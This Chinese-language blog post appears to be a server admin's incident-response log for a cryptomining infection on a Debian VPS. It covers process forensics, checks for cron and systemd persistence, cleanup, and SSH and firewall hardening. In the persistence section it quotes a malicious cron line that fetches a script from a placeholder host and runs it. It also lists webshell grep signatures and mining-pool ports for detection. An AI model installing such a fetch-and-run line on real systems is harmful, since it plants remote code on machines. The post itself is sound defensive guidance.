服务器 CPU 莫名其妙跑满?挖矿木马入侵与应急排查全记录
声明:本文为个人服务器运维过程中的真实排障记录,纯技术经验分享,非商业推广。文中命令在测试环境验证过,生产环境请先备份、测试后再执行。
一、测试环境
- 服务器:LuckVM 香港 CN2 节点,2 核 2G,Debian 12
- 触发场景:一天早上收到监控告警,CPU 长时间 100%,负载 8.0 以上,但站点访问量并没有增长
- 排查目标:定位跑满 CPU 的进程,判断是否被入侵,清理并加固
CPU 突然跑满、网站变慢、被服务商发邮件通知「疑似挖矿」,是海外 VPS 最常见的一类安全事件。下面把完整排查链路写清楚。
二、第一步:确认到底是谁在吃 CPU
不要一上来就重启,重启会把现场证据清掉。先看现状:
# 看总体负载
uptime
# 按 CPU 使用率排序看进程
top -o %CPU
# 或者更直观
ps aux --sort=-%cpu | head -20
正常业务进程的 CPU 占用是波动的,如果看到某个陌生进程稳定吃满 100%(多核就是 200%、400%),进程名还奇奇怪怪(比如一堆随机字符串、kdevtmpfsi、kinsing、[kworker] 变体、伪装成 systemd-* 缺个字母的),基本就要警惕了。
几个常见特征:
- 进程名伪装成系统进程,但有细微差别,比如
sysupdate、networkservic、lsyncd(伪装成 lsyncd)等 - 进程的父进程是 1,但可执行文件路径很奇怪
- 用
top看该进程的用户是 www、root 或 nginx,但业务上根本不该有它
三、第二步:揪出进程的真实身份
找到可疑 PID 后,重点看它到底在跑什么:
PID=12345
# 可执行文件的真实路径(关键!)
ls -l /proc/$PID/exe
readlink -f /proc/$PID/exe
# 进程的完整命令行
cat /proc/$PID/cmdline | tr '\0' ' '; echo
# 进程的工作目录
ls -l /proc/$PID/cwd
# 进程打开的文件
ls -l /proc/$PID/fd | head
# 进程的网络连接(挖矿木马必要矿池连接)
ss -antp | grep $PID
netstat -antp | grep $PID
# 进程环境变量
cat /proc/$PID/environ | tr '\0' '\n'
关键判断点:
ls -l /proc/$PID/exe显示(deleted),或者路径在/tmp、/dev/shm、/var/tmp下面 —— 高危,正常服务不会从这些目录跑ss -antp看到它连着境外某个 IP 的 3333、4444、5555、7777、14444、45700 等端口 —— 典型的矿池端口cmdline里带-o或--url参数指向某个矿池地址 —— 实锤挖矿
四、第三步:确认入侵时间线
# 看进程启动时间,反推入侵时间
ps -eo pid,lstart,etime,cmd | grep $PID
# 查登录日志,找异常登录
last -20
lastb | head -20 # 登录失败记录
grep -i 'accepted' /var/log/auth.log | tail -50
# 查 crontab 是否被加了恶意定时任务(非常高发)
crontab -l
cat /etc/crontab
ls -la /etc/cron.*/
cat /var/spool/cron/crontabs/* 2>/dev/null
# 查 systemd 是否被加了恶意服务
systemctl list-units --type=service | grep -iE 'tmp|miner|kdev|kinsing|xr'
ls -la /etc/systemd/system/
挖矿木马为了持久化,90% 会往这几个地方塞东西:
- 用户 crontab 加一条
*/10 * * * * curl -s http://xxx/xxx.sh | bash /etc/cron.d/或/etc/cron.hourly/放脚本- 写一个 systemd service(比如
/etc/systemd/system/xxx.service)并 enable - 改
/etc/rc.local、~/.bashrc、~/.profile
这一步是最容易被忽略的:很多人只 kill 了进程,没清掉定时任务。结果 10 分钟后又复活,反复几次人就崩溃了。
五、第四步:排查入侵入口
找到木马还要堵住入口,否则清完还会再进来。常见入口就三类:
# 1) SSH 弱口令爆破:看有没有大量失败登录
grep 'Failed password' /var/log/auth.log | wc -l
lastb | wc -l
# 2) Web 应用漏洞:查 Nginx 访问日志里的可疑请求
grep -iE 'eval\(|base64_decode|\.php\?.*=http|webshell' /var/log/nginx/access.log | tail -30
# 3) 数据库弱口令 / Redis 未授权
# 查有没有异常外连
ss -antp | grep -E '6379|3306'
同时找一下有没有被丢进来的 webshell:
# 查最近 7 天被修改/新增的 php 文件
find /www /var/www /home -name "*.php" -mtime -7 -ls 2>/dev/null
# 查可疑的 eval/base64 特征(误报会有,人工确认)
grep -rEl 'eval\(\\\$_(POST|GET|REQUEST)' /www /var/www 2>/dev/null | head
六、第五步:清理(顺序很重要)
必须按「断网 → 清持久化 → kill 进程 → 删文件 → 改密码」的顺序,顺序错了就会被反复复活。
# 1) 先阻断,避免它继续外连或下载新载荷
# (云服务商控制台也可以直接改安全组,最彻底)
ufw deny out to <矿池IP> 2>/dev/null
# 2) 清持久化:删恶意 cron / systemd
crontab -e # 删掉恶意行
rm -f /etc/cron.d/<恶意文件>
systemctl disable --now <恶意服务名>
rm -f /etc/systemd/system/<恶意服务名>.service
systemctl daemon-reload
# 3) kill 进程(连同子进程一起)
pkill -9 -f <进程名或特征>
kill -9 $PID
# 4) 删除木马文件(先记下路径再删)
rm -f /tmp/<木马文件> /dev/shm/<木马文件>
# 5) 改密码
passwd root
# 所有普通用户、数据库、面板密码一并改掉
清理完复查一遍,确认没有复活:
ps aux --sort=-%cpu | head
grep -rE 'curl|wget' /etc/cron* /var/spool/cron 2>/dev/null
七、第六步:加固,防止二次入侵
清理只是止血,加固才能根治。按优先级:
# 1) SSH 加固(最重要)
# 改端口 + 禁 root 直接登录 + 只用密钥
sed -i 's/^#\?Port .*/Port 22022/' /etc/ssh/sshd_config
sed -i 's/^#\?PermitRootLogin .*/PermitRootLogin no/' /etc/ssh/sshd_config
sed -i 's/^#\?PasswordAuthentication .*/PasswordAuthentication no/' /etc/ssh/sshd_config
systemctl restart sshd
# 2) 装 fail2ban 自动封 IP
apt install -y fail2ban
systemctl enable --now fail2ban
# 3) 防火墙只放业务端口
ufw default deny incoming
ufw allow 22022/tcp
ufw allow 80,443/tcp
ufw enable
# 4) 关掉不必要的服务
systemctl list-units --type=service --state=running
# 用不到的就 disable --now
# 5) 关键目录禁止执行脚本(Web 场景)
# Nginx 里对上传目录加 location 禁止 php 执行
补一条长期有效的建议:生产服务器尽量只开密钥登录,Password 认证关掉之后,爆破基本就无效了。
八、第七步:加监控,早发现
上次是收到告警才发现,说明监控不够细。补上 CPU 和异常外连的告警:
# 简单版 CPU 告警脚本 /usr/local/bin/cpu_alert.sh
#!/bin/bash
CPU=$(top -bn1 | grep 'Cpu(s)' | awk '{print $2}' | cut -d. -f1)
if [ "$CPU" -gt 85 ]; then
echo "CPU 使用率过高: ${CPU}%" | mail -s "CPU 告警 $(hostname)" you@example.com
fi
# 加 crontab:每 5 分钟查一次
echo '*/5 * * * * /usr/local/bin/cpu_alert.sh' | crontab -
再装一个 sysstat,能回看历史 CPU 曲线,排查时非常好用:
apt install -y sysstat
# 之后用 sar -u 1 10 看实时,sar -u -f /var/log/sysstat/saXX 看历史
九、踩坑总结
- 先取证再重启:重启会清掉内存里的证据,重启前一定先
ls -l /proc/$PID/exe和ss -antp记下来。 - 清持久化优先于 kill 进程:只 kill 不清 cron/systemd,10 分钟就复活,白干。
/tmp、/dev/shm、/var/tmp是重灾区:建议挂载时加noexec,从根上断掉从这里执行的木马。- SSH 密码登录是最大入口:禁密码、只留密钥,能挡掉绝大部分爆破。
- web 目录权限要收紧:PHP 进程别用 root 跑,上传目录禁止执行。
- Redis/MySQL 千万别裸奔在公网:未授权访问是最常见的入侵入口之一,绑定 127.0.0.1 或加密码。
- 杀不干净就重装:如果木马改了一堆系统文件、编译了内核模块,与其斗智斗勇,不如备份数据重装系统,省时省心。
- 定期备份 + 异地存一份:出事时能快速恢复,比什么都强。
本文为个人运维经验记录,命令均已在测试环境验证。生产环境操作前请做好快照与备份。

浙公网安备 33010602011771号